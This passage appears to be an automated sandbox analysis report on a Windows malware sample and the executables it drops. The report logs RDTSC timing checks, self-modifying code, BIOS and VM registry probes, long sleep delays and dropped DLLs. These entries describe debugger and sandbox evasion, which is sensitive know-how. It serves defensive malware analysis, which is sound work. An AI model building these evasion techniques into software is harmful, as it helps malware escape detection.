Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C25F74 second address: C25F94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBE62C6h 0x00000007 jo 00007FD6ACBE62B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C25B34 second address: C25B39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C25B39 second address: C25B66 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FD6ACBE62C2h 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007FD6ACBE62B6h 0x00000011 jmp 00007FD6ACBE62BFh 0x00000016 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C25B66 second address: C25B70 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD6ACBFE9F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C34246 second address: C3427A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD6ACBE62D5h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007FD6ACBE62B6h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C3427A second address: C34280 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C39927 second address: C39934 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007FD6ACBE62B6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C39934 second address: C39940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C39940 second address: C39944 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C39944 second address: C39981 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBFEA05h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD6ACBFEA06h 0x00000010 jmp 00007FD6ACBFE9FCh 0x00000015 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C4506C second address: C45070 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C45070 second address: C45078 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C45078 second address: C450A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD6ACBE62C0h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007FD6ACBE62C2h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C450A4 second address: C450AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C450AA second address: C450AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C47A2A second address: C47A2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C4788C second address: C47893 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C47893 second address: C478DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FD6ACBFE9F6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e pushad 0x0000000f jc 00007FD6ACBFE9F6h 0x00000015 jmp 00007FD6ACBFEA04h 0x0000001a jno 00007FD6ACBFE9F6h 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 jmp 00007FD6ACBFEA05h 0x0000002a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C478DC second address: C478E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C50C13 second address: C50C3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD6ACBFE9F6h 0x0000000a jc 00007FD6ACBFE9F6h 0x00000010 popad 0x00000011 jmp 00007FD6ACBFEA06h 0x00000016 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C50C3A second address: C50C58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD6ACBE62C9h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C50C58 second address: C50C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C50C65 second address: C50C69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C50C69 second address: C50C6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C50DB5 second address: C50DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C50F2E second address: C50F39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C50F39 second address: C50F47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6ACBE62BAh 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C51E28 second address: C51E3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a ja 00007FD6ACBFE9F6h 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C56D9D second address: C56DC7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jbe 00007FD6ACBE62B6h 0x00000009 pop esi 0x0000000a jns 00007FD6ACBE62BEh 0x00000010 pushad 0x00000011 popad 0x00000012 jne 00007FD6ACBE62B6h 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FD6ACBE62BDh 0x00000022 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C56DC7 second address: C56DDA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b jbe 00007FD6ACBFE9F6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C61D1C second address: C61D22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C63A9E second address: C63AA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C71F54 second address: C71F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD6ACBE62C3h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C82FEB second address: C82FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD6ACBFE9F6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C82FF5 second address: C82FFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C835EE second address: C835F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C8399A second address: C839A0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C83C9C second address: C83CB6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBFE9FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C83CB6 second address: C83CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C83CBA second address: C83CD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBFEA06h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C83CD4 second address: C83CF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBE62C8h 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C86A0E second address: C86A1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C86A1B second address: C86A21 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C86A21 second address: C86A28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C86C47 second address: C86C5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBE62BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C897DD second address: C897E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C8B695 second address: C8B69B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C8B69B second address: C8B6A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C8B6A1 second address: C8B6A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C8B6A5 second address: C8B6D6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jno 00007FD6ACBFE9F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FD6ACBFE9FBh 0x00000012 jmp 00007FD6ACBFEA07h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: C8B6D6 second address: C8B718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jng 00007FD6ACBE62C2h 0x0000000e js 00007FD6ACBE62B6h 0x00000014 jbe 00007FD6ACBE62B6h 0x0000001a jmp 00007FD6ACBE62BDh 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 jmp 00007FD6ACBE62C7h 0x00000028 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: 53803AF second address: 53803E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBFE9FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FD6ACBFEA00h 0x0000000f push eax 0x00000010 jmp 00007FD6ACBFE9FBh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: 53803E3 second address: 53803E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: 53803E7 second address: 53803EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: 53803EB second address: 53803F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: 53803F1 second address: 538040E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD6ACBFEA09h 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: 538040E second address: 5380470 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBE62C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov ax, EB23h 0x00000012 pushfd 0x00000013 jmp 00007FD6ACBE62C8h 0x00000018 adc eax, 1D325268h 0x0000001e jmp 00007FD6ACBE62BBh 0x00000023 popfd 0x00000024 popad 0x00000025 pop ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FD6ACBE62C5h 0x0000002d rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: BAC047 second address: BAC04C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Special instruction interceptor: First address: A03874 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Special instruction interceptor: First address: A0379B instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Special instruction interceptor: First address: A0122A instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 19F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 3490000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 5490000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 5CD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 6CD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Memory allocated: C90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Memory allocated: 2A00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Memory allocated: 2840000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Memory allocated: 1470000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Memory allocated: 30B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Memory allocated: 2EB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Memory allocated: A20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Memory allocated: 2410000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Memory allocated: A20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Memory allocated: 19E0000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Memory allocated: 35C0000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\iofolko5\Kra4UjTOv3M2ogVWTG9TXvYP.exe	Memory allocated: 19E0000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Memory allocated: 1090000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Memory allocated: 2BD0000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Memory allocated: 2AE0000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Memory allocated: 2320000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Memory allocated: 2580000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Memory allocated: 2480000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Memory allocated: 2690000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Memory allocated: 2880000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Memory allocated: 4880000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 3080000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 30C0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 50C0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 11D0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2E20000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 4E20000 memory reserve \| memory write watch

Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetCursorPos,GetCursorPos,Sleep,GetCursorPos,__aulldiv,Sleep,

1_2_00433110

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Su0FBbBo66AP291hju1uAp_.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\Dzj5MNqCPIubP7Rrjm1D2Yt6.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\nnoSckkth0srkZiZ3BOPqSkN.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\McmVdxsIvLZmG47_ZImbEdvo.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Documents\iofolko5\woZv82DGCV54SaaUFka2bYWX.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Documents\iofolko5\GYi2x83ApCTB3_vjRj5FL48U.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 614	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 427
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 437

Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Batch AVI Converter\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Batch AVI Converter\is-R68PO.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-78PSF.tmp\D4wpDprTNebjzitxM8NmQjMu.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Batch AVI Converter\msvcr71.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
